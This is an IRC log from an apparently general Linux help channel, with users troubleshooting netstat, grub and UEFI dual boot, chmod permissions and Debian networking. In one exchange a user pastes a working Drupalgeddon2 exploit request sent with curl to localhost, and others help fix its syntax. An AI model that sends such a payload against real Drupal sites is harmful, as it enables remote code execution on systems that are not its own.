dadada> I need to find out which process is accessing the internet currently 09:06 < xdije> hi 09:07 < leonardo98> Dagmar: reboot doesn't work I tried it 09:07 < Dagmar> This is for your own good because once one write's been missed, there's no way of knowing if any further data written will make *any* sense without it 09:07 < xdije> i want to configure nfs3 on centos7 and is configured but only root can access the share other users getting permission denied 09:07 < Dagmar> Then your drive is frelled 09:08 < leonardo98> Dagmar: what about --dco-restore 09:08 < Dagmar> What about it 09:08 < Dagmar> Read the dmesg log 09:09 < Dagmar> If you were just doing something foolish with an SSD and broke it, it's all you man 09:10 < leonardo98> Dagmar: haha no no 09:10 < Dagmar> There's almost never a need for a normal user to even know about the DCO let alone mess with it 09:11 < Dagmar> The hdparm man page is *not* joking about a number of options have the ability to just make your drive into a paperweight 09:12 < xgpt> [R] yeah, that's a thing 09:12 < dadada> a process is using the internet to pull updates 09:13 < dadada> but I can't figure out what process it is 09:13 < Dagmar> Well, there's netstat, ss, and if your'e really desperate, tcpdump, but I would suggest maybe iptraf or something like that before taking the hosepipe straight in the face 09:14 < Dagmar> Once you know the local port number that's getting the packets, you can look up which process it is with netstat or ss 09:14 < dadada> I tried netstat 09:14 < Dagmar> Use the options -punta 09:15 < Dagmar> ...as root. That'll show you listening and active connections, port numbers, and process names 09:16 < Dagmar> It won't be able to tell you anything useful about which ones are sending data or how much. That's where things like iptraf and tcpdump come in 09:16 < Dagmar> If you've done the sensible thing and murdered everything else, there should only be a few things with active connections 09:18 < dadada> Dagmar: looks like it was packagekit 09:19 < dadada> Dagmar: ty 09:19 < dadada> I' 09:20 < Dagmar> no worries 09:20 < dadada> ll try to remember -punta 09:20 < Dagmar> Maybe be selective about who you say that in front of 09:20 < Blinky_> Morning all, I have an openvpn connection to a remote building. this works fine however I want to establish the connection via a terminal to a server in my building from my PC and then be able to close that terminal but leave the vpn connection running, is this possible? 09:20 < Dagmar> It's kind of a rude word in a specific language, but I have yet to come up with a better mnemonic with those letters 09:23 < Dagmar> (note to pedants, I said "kind of") 09:26 < xgpt> so how do I tell linux "this usb ID needs THIS driver please" 09:27 < xgpt> ? 09:28 < Dagmar> Tip: `udevadm monitor` 09:28 < Dagmar> Plug in the device 09:28 < xgpt> Dagmar: go on 09:28 < Dagmar> You'll see the product and vendor codes 09:28 < Dagmar> ...and basically, all the rules that matter to it 09:28 < tomty89> xgpt: afaik you need the id in the driver 09:29 < xgpt> oh lord 09:29 < xgpt> I have to recompile this driver dont 09:29 < xgpt> don't I? 09:29 < Dagmar> Not necessarily 09:29 < xgpt> oh? 09:31 < rendar> installing debian it overwrote the MBR with grub, and i can't see windows anymore -- what is the file i have to edit to re add windows manually? 09:33 < Pentode> /etc/grub.d/40_custom 09:33 < wiq> Hi. I am getting this error `curl: (1) Protocol " https" not supported or disabled in libcurl` when I am trying to send a POST request 09:38 < Li> tomty89: no but thanks, I wanted to do it manually not a python script. 09:39 < Li> SuperSeriousCat: I read some where, xenserver works on top of another OS 09:39 < Li> not sure though 09:39 < tomty89> manually? 09:39 < tomty89> trasversing /sys? 09:39 < Li> tomty89: yes how to find devices related to any id 09:40 < Li> I've looked inside /sys/kernel/****/debug/usb 09:40 < Li> nothing 09:40 < tomty89> debuf 09:40 < tomty89> why debug 09:40 < tomty89> Li: is udevadm manual enough for you 09:40 < Li> I just read it some where on stackoverflow 09:40 < tomty89> no idea what you mean by manual 09:41 < Li> tomty89: I guess so , udev is not playing nice with me however 09:41 < Li> I must dig it further to understand the switches 09:41 < Li> tomty89: manually = using raw hand written commands 09:42 < Li> no one writes scripts for me 09:42 < vlt> wiq: Have you tried "https" instead of " https"? 09:43 < wiq> vlt, yup. no good 09:43 < vlt> wiq: What does that mean? 09:43 < tomty89> Li: lsusb.py is provided in usbutils like lsusb 09:43 < tomty89> Li: nobody ask you to write a script 09:44 < MrElendig> tomty89: needs a complete rewrite though, also many distroes doesn't include it in their packages 09:44 < vlt> wiq: Did you get a similar error message? If yes, what did it say? 09:44 < tomty89> hmm 09:44 < MrElendig> tomty89: I ported in to py3, but it needs to be ported to use hwdb too 09:44 < MrElendig> and just generally unfornication 09:45 < wiq> vlt, oops, sorry i misread. my original request is 'https:// 09:45 < wiq> vlt, I have also tried using " instead of ' 09:45 < wiq> vlt, but it gave same error 09:46 < MrElendig> wiq: curl -V 09:46 < MrElendig> post the entire output in a sane pastebin 09:46 < MrElendig> (not .com/ca) 09:47 < sauvin> An example of a "sane" pastebin is given in the topic. 09:47 < rendar> Pentode: after having edited grub.d config files, how i can make those changes effective? 09:47 < MrElendig> that can be argued :p 09:47 < rendar> my grub new menubar doesn't appear 09:47 < wiq> MrElendig, https://pastebin.com/hFDNfXcJ 09:47 < revel> lol 09:47 < MrElendig> I fully expected that 09:48 < revel> GnuTLS, eh? 09:49 < junka> heh 09:49 < Dagmar> 14 f**king hours 09:49 < revel> It says it supports https though. 09:49 < Dagmar> I think from now own I'm actually going to stick with buying only 2Tb disks 09:49 < Dagmar> 14 hours for a bloody self-test to complete is insane 09:49 < wiq> curl "https://google.com" works fine 09:50 < wiq> but the problem comes when I try to send a POST request 09:50 < revel> Could you maybe post the exact request? 09:51 < Pentode> rendar, grub or grub2-mkconfig --output=/boot/grub/grub.cfg <- or grub2/grub.cfg depending on which you have 09:51 < rendar> Pentode thanks, one moment 09:51 < wiq> revel, its the #drupalgeddon2 exploit. posting it, wait a sec 09:51 < wiq> curl -X POST --data \ 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=phpinfo()' \ 'https://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 09:52 < wiq> I have also tried changing ' with " 09:53 < revel> Looks correct to me. 09:53 < revel> wiq: Check the syntax on your curl manpage, maybe your older version has different syntax rules or doesn't support something. 09:54 < revel> It complains about port 443 not being open on my host instead, meaning it was otherwise correct. 09:56 < Li> are there any other ways [commands] to disable linux devices other than rmmod and modprob -r? 09:57 < rendar> it seems i don't have ifconfig or route, how come?! which packages i have to install in order to get those? i don't have network here 09:57 < revel> Those only remove kernel modules. 09:57 < rendar> (debian) 09:57 < wiq> revel, syntax seems as per curl manpage. But you said "your older version", how can i update it? 09:58 < wiq> I am using ubuntu 09:58 < Li> rendar: it uses ip now 09:58 < MrElendig> Li: depends on what you mean by "disable linux devices" 09:58 < Li> rendar: try ip addr show 09:58 < MrElendig> rendar: they were deprecated 15 years ago 09:58 < MrElendig> rendar: http://inai.de/2008/02/19 09:58 < Li> MrElendig: Disable = the way we do it in BIOS setup 09:58 < revel> wiq: Well, 7.47 could be the latest on your distro, though I'm on 7.59. If no later version is supported, then building it from source could work. 09:59 < revel> rendar: There's this neat little package called apt-file that could help you with those questions in the future. 09:59 < rendar> ok with ip it works 09:59 < MrElendig> rendar: https://baturin.org/docs/iproute2/ 09:59 < revel> Yeah, use ip. 09:59 < vlt> wiq: I doubt that you need to compile some newer version of curl on Ubuntu to send a plain POST request. 10:00 < rendar> the thing is i don't know how to use ip 10:00 < rendar> and the network is still unreachable 10:00 < rendar> plus, there isn't /etc/resolv.conf anymore 10:00 < wiq> vlt, can you help me in doing so? I am new to linux 10:00 < revel> Yeah, 7.47 can't be that old. 10:00 < MrElendig> rendar: see my second url 10:00 < MrElendig> revel: you not having that file generally means that you didn't configure your network correctly 10:00 < MrElendig> er.. rendar 10:00 < vlt> wiq: Doing what? 10:01 < wiq> vlt, compiling and installing the newer version 10:01 < vlt> wiq: I wouldn't. Find out the *actual* problem. 10:01 < MrElendig> 7.47 came out in early 2016 10:01 < MrElendig> rendar: how did you configure the connection? 10:02 < rendar> MrElendig: there is any connection! it's another machine with just installed debian, i had problems with network firmware, that i had to install manually with an usb key 10:02 < rendar> so now network is not configured at all 10:02 < rendar> and i can't use ip, only route+ifconfig+/etc/resolv.conf 10:03 < MrElendig> see the link I gave, it tells you how to use ip 10:03 < MrElendig> and you can simply fill in resolv.conf by hand 10:03 < MrElendig> alternative is to just run if you have dhcp on the network 10:04 < rendar> ok 10:04 < rendar> ip link add eth0 192.168.0.55 netmask 255.255.255.0 right ? 10:05 < MrElendig> use cird 10:05 < Sapphirus> libvirt is broken on arch ugh 10:06 < MrElendig> as the link I posted says: ip address add what/ever dev eth0 10:06 < rendar> MrElendig: the thins with ip address show i don't get eth0, but: lo, enp5s0, wlp4s0, wlp3s0 10:06 < MrElendig> rendar: that is quite normal 10:06 < MrElendig> so you have one wired interface and two wireless ones 10:06 < MrElendig> see http://www.freedesktop.org/wiki/Software/systemd/PredictableNetworkInterfaceNames 10:06 < rendar> in theory i have 2 networking card, and 1 wifi 10:07 < MrElendig> en is wired, wl is wifi 10:07 < rendar> i know 10:07 < rendar> but i also know the hardware i have here :) 10:07 < MrElendig> broken hardware/drivers then 10:08 < rendar> f. shit 10:08 < rendar> https://askubuntu.com/questions/607707/ath10k-installation 10:08 < rendar> i had to install this 10:08 < MrElendig> that is for wifi 10:09 < MrElendig> ath10k comes with the kernel, and most of the firmware for the devices are in linux-firmware 10:09 < rendar> MrElendig: when i was installing debian, the installer can't use network 10:09 < rendar> because of missing files 10:09 < rendar> i searched those files and that link come to me 10:09 < MrElendig> and it is generally not a good idea to use a guide for an old ubuntu version to do stuff to a new debian install :p 10:10 < junka> what does that have even to do with curl 10:11 < MrElendig> rendar: are you trying to bring the wired interface up? 10:11 < MrElendig> and if so: do you have dhcp on your network? 10:11 < wiq> revel, vlt: The problem with that curl request was 10:12 < wiq> \ 'https is expanded to " https" in shell 10:12 < wiq> They're meant to escape the end of the line. If they're not at the ends of lines for you, they're wrong 10:12 < wiq> The solution was to remove all the backslashes 10:12 < revel> Oh, I thought you had '\\n' instead of just '\ ' 10:12 < rendar> MrElendig: nope 10:12 < revel> I tried it that way. 10:13 < rendar> MrElendig: the physical one 10:13 < rendar> MrElendig: yes i have dhcp 10:13 < rendar> MrElendig: which command i could use to test dhcp? 10:13 < rendar> (sorry afk for a while) 10:14 < MrElendig> dhclient enp5s0 10:14 < MrElendig> or dhcpcd, or use networkd. 10:14 < MrElendig> depending on which you have installed 10:32 < rendar> MrElendig: dhclient is running, it seems 10:32 < rendar> but it seems blocked..for now.. 10:32 < aaa_> Cannot join #mysql (You are banned). :'( 10:32 < MrElendig> on the right interface? 10:32 < MrElendig> aaa_: no suprice there 10:32 < rendar> MrElendig: it seems it didn't work, ping still gives to me "network is unreachable" 10:33 < aaa_> why :( 10:34 < MrElendig> dhclient -r; dhclient -v enp5s0 10:34 < rendar> MrElendig: i have solved! it works.. 10:34 * MrElendig suggests using networkd though, it is quite nice 10:35 < rendar> ok 10:35 < MrElendig> or networkmanager if you also want to mess around with multiple wireless networks 10:36 * MrElendig can't stand interfaces at all 10:38 < sigmet> I'm sorry 10:40 < MrElendig> interfaces(5) that is 10:41 < blackflag_bfp> Psi-Jack: WHat terminal do you use? 10:45 < rendar> MrElendig: apt-get autoremove just removed 1Gb of packages, and also networking :( 10:45 < rendar> so i am still without networking, fucking debian 10:45 < MrElendig> rendar: welcome to debian 10:45 < MrElendig> it tend to too "helpful" 10:46 < MrElendig> like starting services with insecure defaults just because you installed them :p 10:46 < junka> the yes or no reply is critical 10:46 < MrElendig> anyway, try networkd? or just use networkmanager 10:46 < junka> in my opinion 10:46 < junka> rofl 10:47 < MrElendig> that said, apt will usually tell you what it is going to nuke before it nukes it 10:47 < lucyfx> so, I ran these 2 commands: "sudo chmod -R 0664 dir -> sudo chown -R usr:usr dir" -- I am not going to cry over this directory or anything, but can someone explain to me what I did? what I intended was: "own every file and subdir" 10:48 < lucyfx> and have the 664 permission 10:48 < MrElendig> also, reading the apt(-get) man page before you run random commands suggested on the internet is also a good idea 10:48 < MrElendig> the man page do say that autoremove is cascading 10:48 < lucyfx> now the path is listed as admin:///... and I cant open any of these files 10:49 < MrElendig> lucyfx: getent users usr 10:49 < MrElendig> lucyfx: getent group usr 10:49 < lucyfx> usr:x:1000: 10:49 < lucyfx> im doing this in the root dir of "dir" 10:50 < MrElendig> without +x on a dir you can't enter it 10:50 < lucyfx> so you are saying, I removed +x from my user? 10:50 < MrElendig> yes 10:51 < lucyfx> you got a spare one? 10:51 < MrElendig> sane versions of chmod has +X which will set +x on dirs but not on files 10:51 < lucyfx> I assume I am not running a sane version? 10:51 < MrElendig> lucyfx: you didn't use +X in the first place so.. 10:52 < lucyfx> wait that +x should go in the "0644" right? 10:53 < MrElendig> no 10:54 < MrElendig> you would do chmod ug=rwX,o=rx 10:54 < lucyfx> I ran chmod -R +X dir 10:54 < lucyfx> and it solved it. was this a good idea? 10:55 < MrElendig> that will turn the dirs into 764 10:55 < MrElendig> you probably want it to be 774 10:55 < lucyfx> ok it didn't solve it, just nautilus stopped showing the red access signs 10:55 < MrElendig> so ug+X 10:56 < MrElendig> you can check the result with stat or getfacl 10:56 < lucyfx> "chmod ug+X dir" ? 10:57 < MrElendig> yes, see the man page for detauls 10:57 < MrElendig> well, add a -R if you want it to be recursive for your whole tree 10:58 < MrElendig> details* 10:58 < lucyfx> doesn't seem to solve it 10:59 < MrElendig> `id` 10:59 < stevendale> Intel graphics is so much better than AMD and NVIDIA 10:59 < lucyfx> uid=1000(usr) gid=1000(usr) groups=1000(usr),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),122(lpadmin),126(sambashare) 10:59 < MrElendig> stat dir 11:00 < lucyfx> Access: (0775/drwxrwxr-x) Uid: ( 1000/ usr) Gid: ( 1000/ usr) 11:00 < MrElendig> so you can access it just fine 11:00 < lucyfx> I cant open any of the files inside 11:00 < lucyfx> without the root password 11:00 < MrElendig> stat the files 11:01 < lucyfx> Access: (0775/-rwxrwxr-x) Uid: ( 1000/ usr) Gid: ( 1000/ usr) 11:02 < lucyfx> heres an example file 11:02 < MrElendig> so you have full access to do anything to that file 11:02 < MrElendig> how are you trying to open it and what is the error? 11:03 < MrElendig> er.. that o=rx whould have been o=rX ofcourse 11:03 < lucyfx> access method is right click open with gedit, drag to a program, terminal, etc 11:03 < lucyfx> I restarted nautilus 11:03 < lucyfx> and it solved it 11:03 < lucyfx> I am not sure whats the relationship between gedit and naut is 11:03 < MrElendig> nautilus were probably doing some caching then? 11:03 < MrElendig> maybe 11:04 < lucyfx> "sudo chmod -R 0664 dir -> sudo chown -R usr:usr dir" so what is the correct version of this command ? 11:05 < well_laid_lawn> that is two different commands 11:05 < lucyfx> I mean, my intention is "own all the dirs and files, with 0664 as the permission" 11:06 < lucyfx> the command is correct in a technical sense, not in a semantic sense 11:07 < revel> The first changes permissions and the other changes ownership. 11:07 < MrElendig> chmod ug=rwX,o=rX is what you really want as I said 11:07 < MrElendig> 6 on a dir doesn't make much sense 11:08 < lucyfx> MrElendig, to be clear, thats "chmod ug=rwX,o=rX dirname" right? 11:08 < MrElendig> yes, the target goes last, as per the man page 11:08 < MrElendig> chmod [OPTION]... MODE[,MODE]... FILE... -- The Fine Manual 11:08 < lucyfx> and this changes the files inside recursively, as well? without the -r 11:09 < MrElendig> no 11:09 < lucyfx> "chmod -R ug=rwX,o=rX dirname" is this correct? 11:09 < MrElendig> yes 11:09 < lucyfx> okay, thank you for your help :) 11:09 < MrElendig> (easy to test btw) 11:10 < lucyfx> I am a bit cautious after breaking a few dirs 11:10 < MrElendig> it will set 775 on directories, 664 on files 11:10 < djph> ugh, why'd gnu have to go and break gpg :( 11:10 < lucyfx> is there a valid scenario where I would want 644 on dirs? 11:11 < MrElendig> "execute/search only if the file is a directory or already has execute permission for some user (X)" 11:12 < MrElendig> that last bit can be a gotchas though 11:12 < MrElendig> lucyfx: I can't really see a use case for 644 on a dir 11:12 < V7> Hey all 11:12 < V7> How to disconnect from remote connection in Dolphin ? 11:13 < lucyfx> MrElendig, once again thanks for the short tutorial :p 11:13 < lucyfx> see y'all later 11:14 < MrElendig> V7: doesn't it show the standard umount icon for them? 11:16 < V7> MrElendig: No, it doesn't 11:16 < V7> So, it just might be impossible to disconnect from remote. 11:17 < V7> For example, if I don't want to open a path without prompting for credentials 11:17 < V7> So, even if I've closed Dolphin and opened again it keeps listing a path without prompt, but just lists 11:18 < MrElendig> what kind of connection is it, ssh? 11:18 < V7> SFTP ( ssh ) 11:20 < V7> It has some sockets in /run/usr/ for sftp.so, but even if I remove them it stays connected 11:20 < MrElendig> aparently the kio devs don't think it is a useful feature 11:20 < MrElendig> kio/dolphin 11:20 < V7> It some kind of security leak 11:21 < V7> It just gives an access to a server without password prompt if it was previously used 11:22 < MrElendig> not really a security leak 11:22 < MrElendig> (don't leave your machine while logged in in the first place) 11:23 < V7> ... 11:23 < V7> MrElendig: It's wird. A question was how to remove password from the system, but an answer is don't let system to be used by others. 11:23 < V7> weird * 11:24 < V7> MrElendig: Really, you think this's answer ? 11:24 < V7> Thank you by the way, but ... 11:24 < V7> It's quiet strange to see answer like that in #linux 11:25 < MrElendig> V7: I mean, if you leave your machine while logged in you are screwed anyway 11:25 < MrElendig> so it doesn't drasticly increase the attack surface 11:25 < V7> Of course you're right in this way. Always lock you machine, it's simple, but a question was other. 11:25 < V7> another * 11:26 < MrElendig> go check if anyone have reported the lack of an explicit disconnect on the bug tracker 11:26 < peetaur2> it does if some malware you have can access those files through dolphin 11:26 < V7> ^ 11:26 < noodlepie> Hiya guys! 11:27 < V7> It's not a *bad* idea to have a button to forget|disconnect a remoe connection 11:27 < V7> For example, FileZilla has an option to disconnect and this is normal 11:28 < V7> But, the discussion is about Dolphin which has an option to use thse protocol and if they want to make them usable they should add this button 11:28 < V7> these protocols * 11:29 < MrElendig> peetaur2: the malware could just keylog you and steal all your private keys anyway 11:29 < MrElendig> scrape your screen etc 11:29 < V7> MrElendig: Malware can't access keyboard without super right 11:29 < V7> rights * 11:29 < MrElendig> V7: they can if you are running xorg 11:29 < V7> Example ? 11:29 < MrElendig> it is a feature of xorg after all 11:30 < V7> Wat ? 11:30 < MrElendig> eg look at xbindkeys 11:30 < V7> Could you prove this one ? 11:30 < V7> xev 11:30 < MrElendig> it can capture all your keypresses and run commands based on what you press 11:30 < MrElendig> would also capture anything you oress 11:30 < MrElendig> press* 11:31 < V7> Already, checked, xev tells them 11:31 < peetaur2> of course any time someone executes code, potentially anything could happen, but opening up holes just makes it easier 11:31 < V7> ^ 11:31 < rendar> i need some help with grub, if i type root (hd0, it tells me that hd0,gpt4 is the windows partition, but i set root as that, and type chainloader +1 and then boot, it says "nothing to boot in this partition" ..any help? i'm trying to boot windows manually 11:31 < V7> That's a men who sees logic 11:32 < V7> rendar: check your mbr 11:32 < MrElendig> rendar: mount it and see what is actually on it? 11:32 < MrElendig> rendar: also, uefi or not? 11:32 < peetaur2> rendar: is there just 1 windows partition? 11:32 < rendar> uefi 11:32 < V7> oh 11:32 < MrElendig> then you have to do it slighly different 11:32 < rendar> peetaur2: yes, plus the recovery one, and FAT32 one which are not what i need 11:33 < rendar> there is a partition with windows, and i want to boot it manually 11:33 < Stryyker> they are 11:33 < MrElendig> chainloader /EFI/Microsoft/Boot/bootmgfw.efi 11:33 < rendar> mm 11:33 < Stryyker> rendar: the actual boot files may be on a different partition from the OS 11:33 < MrElendig> set root to the esp then run ^ 11:33 < peetaur2> rendar: another way to test is make a KVM VM that has this disk...like use device mapper to give it a disk layout that looks like the original one with blank space where linux and grub are, rw mbr, etc. and then try the repair stuff on it (but that's not easy at all) 11:34 < rendar> MrElendig: it seems that file doesn't exist 11:34 < rendar> maybe i have to mount something before? 11:34 < rendar> MrElendig: esp? 11:34 < MrElendig> rendar: you have to set root to the esp 11:34 < MrElendig> efi system partition 11:34 < V7> rendar: Which file ? 11:34 < rendar> oh.. 11:34 < rendar> uhm 11:34 < V7> rendar: Execute lsblk and see your paritions 11:34 < rendar> invalid signature 11:35 < MrElendig> secureboot enabled? 11:35 < rendar> V7: i'm seeing the parititons right here 11:35 < rendar> MrElendig: tyes 11:35 < rendar> yes* 11:35 < MrElendig> disable it temporary 11:35 < rendar> ok, wait 11:36 < V7> rendar: So, when you're trying to "mount /dev/sdAB /media/C" what it says ? 11:36 < V7> what does it say * 11:37 < rendar> it seems i can't disable secure boot 11:37 < rendar> V7: wait one second 11:40 < rendar> MrElendig: nothing, it says 'invalid signature' 11:41 < rendar> V7: i'm in the grub command line, not linux commandline 11:41 < MrElendig> which windows version? 11:41 < rendar> 10 pro 11:41 < V7> rendar: oh 11:42 < doublehp> some udev script is doing "df -h ; sleep 10 ; df -h", and puts everything in syslog. some recently plugged disk appears in here; if during the sleep i type df -h in a console, disk is not shown. I have also tried mount, and cat /proc/mounts; same issue. How can a disk be shown as mounted only from inside an udev script, and not for the rest of the system ? (console used is using root user) 11:43 < doublehp> MrElendig: when this kind of question is asked here, it smells bad :) 11:43 < MrElendig> sure you are actually booted in uefi mode? 11:44 < MrElendig> make sure csm is actually disabled, and it is not set to uefi + legacy or legacy 11:49 < rendar> MrElendig: hmm, csm? 11:49 < rendar> MrElendig: well, how i can check if i'm in eufi mode? 11:49 < rendar> MrElendig: the bios says Secure Boot .. enabled (and it seems i cannot disable it) 11:56 < MrElendig> compability mode / legacy mode 11:56 < MrElendig> https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface#CSM_booting 11:56 < MrElendig> you want that disabled 11:58 < doublehp> how can "tail /proc/mounts" run from two different environments (on the same machine) produce two different outputs ? 11:58 < doublehp> i don't see any chroot 12:06 < BluesKaj> Hi Folks 12:06 < rendar> MrElendig: to avoid typing dhclient everytime, how i can configure linux does that automatically on boot? 12:07 < doublehp> rendar: depends on your distribution. in debian it's /etc/networking/interfaces; see man page 12:08 < stevendale> auto eth 12:08 < stevendale> iface eth inet dhcp 12:08 < stevendale> Save and then 'sudo service networking restart' 12:08 < stevendale> Or for oldies, 'sudo /etc/init.d/networking restart' 12:08 < rendar> uhm ok 12:09 < rendar> but instead of eth, i have to specify my interface right? which is enp5s0 12:09 < rendar> iface enp5s0 inet dhcp 12:09 < stevendale> Yeah, replace the 'eth' with enp5s0 12:09 < doublehp> as i said, it depends on your distro 12:09 < stevendale> In /etc/network/interfaces 12:10 < rendar> ok 12:10 < stevendale> In Arch Linux you would use create an ethernet profile then do 'netctl enable interfacename' 12:10 < doublehp> rendar: on raspbian and armbian, dhclient is run automatically when a cable is plugged 12:10 < stevendale> I mean interfacename-profilename, which is the syntax for netctl profiles 12:10 < doublehp> udev detects when a cable is inserted in the plug 12:11 < BluesKaj> rendar, also you may need to run a small bash script with sudo dhcleint command at startup if you run debian based distro 12:13 < MrElendig> rendar: as I said, I suggest networkd or networkmanager, I'm not a fan of interfaces at all 12:13 < MrElendig> but you can use it if you want 12:13 < MrElendig> stevendale: netctl will hopefully die soon 12:13 < MrElendig> distro spesific networking tools needs to just die imo 12:14 < rendar> MrElendig: ok 12:14 < rendar> MrElendig: for now, i wish to solve the boot thing 12:14 < rendar> MrElendig: why in your opinion i get wrong signature for that thing? 12:15 < MrElendig> sounds like you are not booting in uefi mode, as I already hinted at 12:15 < MrElendig> make sure csm/legacy mode is *disabled* 12:15 < rendar> hmm ok, from the bios? 12:16 < rendar> MrElendig: i'm browsing the FAT efi partition, and there are all the files, also bootmgfw.efi 12:16 < Hanumaan> I have following table with mmls: https://paste.ubuntu.com/p/jDhZq4NJrZ/ how to mount those paritions? 12:17 < MrElendig> rendar: that doesn't mean that you are booted in uefi mode 12:17 < MrElendig> that just means that you have loaded the gpt and fat modules in grub 12:17 < rendar> yeah i kow 12:17 < rendar> know* 12:23 < rendar> MrElendig: basically i have to set "Launch CSM" to disabled, right? 12:25 < MrElendig> yes 12:29 < rendar> oh fuck!!! now grub doesn't start anymore and starts only windows 12:29 < rendar> :( 12:30 < MrElendig> rendar: because you installed grub in legacy mode 12:30 < rendar> debian did that 12:30 < MrElendig> boot the install image again and install grub to the esp 12:30 < MrElendig> rendar: no, you did when you booted with legacy mode enabled 12:31 < rendar> wait 12:31 < MrElendig> trivial to fix; just boot the install image, drop to a shell, mount all the things, grub-install 12:31 < MrElendig> (with the apropiate flags) 12:32 < MrElendig> might have to adjust your fstab too 12:38 < rendar> MrElendig: in this way, i cannot boot from the debian CD anymore!! 12:38 < rendar> the system says "the system fiound unauthorized changes on the firmware, operaing siystem or UEFI drivers" 12:39 < rendar> then it starts windows 12:41 < MrElendig> disable secureboot 12:41 < MrElendig> or get a signed debian install image, debian should have one with a signed bootloader/kernel 12:41 < MrElendig> or you could sign yourself 12:42 < rendar> it doesn't allow me to disable secure boot.. 12:45 < rendar> MrElendig: for christ SAKE!! i made the cd run, and if i launch the shell it doesn't have the grub-install command 12:45 < rendar> what fucking shit is this?!?! 12:45 < MrElendig> debian probably names it grub2-install or simething 12:45 < MrElendig> could chroot in and do it from there too 12:45 < rendar> not found either 12:46 < MrElendig> (who uses coasters in 2018 though) 12:47 < jimm> rendar, please watch your language while you're here... it's two instances, which puts you right on the line of "excessive profanity" 12:47 < rendar> jimm: sorry, but i'm very frustrated, i'll moderate 12:48 < jimm> yep, I get that this stuff can be frustrating 12:49 < fakefur> rendar i just joined the chan - what's the problem? 12:49 < rendar> fakefur: running grub properly with UEFI 12:49 < rendar> plus adding Windows partition on grub configuration to have dual boot 12:49 < fakefur> rendar "properly" ? 12:50 < fakefur> rendar is this a secure boot issue? 12:50 < rendar> fakefur: properly = running grub that can understand both linux and Windows boots, not only linux, and not Windows starts over grub 12:50 < fakefur> rendar do you have one of those wierd setups? 12:51 < MrElendig> you can chroot into the installed system and do the grub-install from there 12:51 < MrElendig> fakefur: he aparently had windows installed in uefi mode, but decided to install debian in legacy mode 12:51 < rendar> fakefur: what? weirds setups? I need to work both Windows and Linux running in my machine 12:51 < MrElendig> helped by the fact that csm is often enabled by default by the hardware maker 12:52 < rendar> MrElendig: i didn't changed bios settings in legacy mode, btw 12:52 < MrElendig> rendar: see my last line 12:52 < rendar> yep 12:53 < rendar> MrElendig: are you sure i have to disable CSM? 12:53 < rendar> MrElendig: i'm sure that if i try to reinstall debian right now, it will enable it again 12:53 < TJ-> rendar: GRUB in UEFI mode can't do the BIOS chainload windows boot loader trick. Usually it's expected you'll use the system's boot-loader menu instead. I think you can have GRUB pass control to the Windows EFI bootmgrfw.efi module but it's not done by default in the standard GRUB scripts 12:54 < rendar> TJ-: that's what i'm trying to do since the last 5 hours of my life 12:54 < MrElendig> rendar: yes you have to if windows was installed in uefi mode, which it seems it is 12:54 < rendar> TJ-: the thing was, when i tried to load windows efi file, grub told me: invalid signature 12:54 < MrElendig> rendar: you can not chainload windows in uefi mode when booting in legacy mode, and the other way around 12:54 < rendar> then MrElendig told me to disable CSM, and now only Windows starts 12:55 < rendar> Windows NTLDR starts over grub 12:55 < MrElendig> rendar: no it doesn't 12:55 < MrElendig> ntldr isn't used at all 12:55 < TJ-> rendar: that would make sense 12:55 < TJ-> rendar: Are you using Debian or Ubuntu GRUB? 12:55 < rendar> uh? ntldr loads ntoskrnl.exe, it will start anyway 12:55 < rendar> TJ-: debian stretch 12:56 < TJ-> rendar: And is the system using Secure Boot ? 12:56 < rendar> TJ-: now i'm trying to reinstall grub in UEFI mode, as MrElendig suggested 12:56 < rendar> but the debian cd isn't helping 12:56 < rendar> since the command line doesn't give me 'grub-install' command 12:56 < MrElendig> rendar: you simply have to install grub to the esp, then you can load both windows and debian from it just fine 12:56 < rendar> MrElendig: that's what i'm trying to do 12:56 < rendar> TJ-: yes 12:57 < rendar> TJ-: apparently i cannot disable secure boot, but i can tell the bios to run "other OSes" like debian install CD 12:57 < TJ-> rendar: for Secure Boot I could understand that error, since what happens (on Ubuntu S.B.) is PC UEFI > shimx64.efi > grubx64.efi 12:57 < MrElendig> mount the debian root, mount the esp to root/boot/esp or wherever you prefer, then chroot in and install grub to the esp 12:57 < TJ-> rendar: does Debian also ship a shimx64.efi ? 12:57 < rendar> TJ-: apparently doesn't but i may be wrong 12:58 < MrElendig> rendar: "other os" == disabled 12:58 < rendar> i'm sure i have grubx64.efi 12:58 < rendar> MrElendig: nope: bios says secure boot: enabled 12:58 < MrElendig> rendar: in practice it is disabled 12:58 < rendar> ok 12:58 < TJ-> rendar: the 'shim' is signed by the Microsoft key who's certificate is embedded in the PC's firmware. shim then uses the distro's key (say Ubuntu) to verify grubx64.efi ... so if that grub then tries to verify a MS Windows .efi file it'll likely fail since it can't verify the MS signature 12:58 < rendar> let's say it is disabled 12:58 < MrElendig> since it won't enforce 12:58 < V7> Have just created a cert with certbot and trying to renew to test 12:59 < V7> It gives: renewal config file {} is missing a required file reference 12:59 < rendar> TJ-: that's interesting, but how i can put that shim file in the FAT partition? 12:59 < MrElendig> deal with the shim/signing later, install grub to the esp first 12:59 < rendar> MrElendig: esp? 12:59 < TJ-> rendar: if the system is using Secure Boot, then whatever GRUB is installing in the EFI-SP *is* signed, so ought to be the shim 12:59 < MrElendig> 11:34:22* MrElendig | efi system partition 13:00 < rendar> MrElendig: but i have that partition! 13:00 < rendar> it's FAT, and it cotains both windows and grub .efi stuff 13:00 < MrElendig> rendar: I didn't say you didn't have it 13:00 < MrElendig> rendar: ok, then check the boot order 13:00 < TJ-> rendar: check what the firmware is loading with "sudo efibootmgr -v". E.g. on Ubuntu (S.B. disabled) I see for the Ubuntu entry ".../File(\EFI\ubuntu\grubx64.efi)" - if it were Secure Boot it'd be ".../File(\EFI\ubuntu\shimx64.efi)" 13:01 < MrElendig> windows loves to reset the boot order to itself 13:01 < rendar> MrElendig: i checked it, and bios says: "Windows 10 UEFI ...etc" 13:01 < MrElendig> also check if you have a entry for grub in the nvram at all 13:01 < rendar> it seems bios can't "see" grub, it just give the control to windows 13:01 < MrElendig> might not have 13:01 < MrElendig> see efibootmgr (-v) 13:02 < rendar> MrElendig: where? i can't start grub, so i can't start linux, and debian f. CD has /bin/sh with only 3 commands 13:02 < MrElendig> sidenote: some hardware is just broken and will refuse to boot from anythihng that isn't in 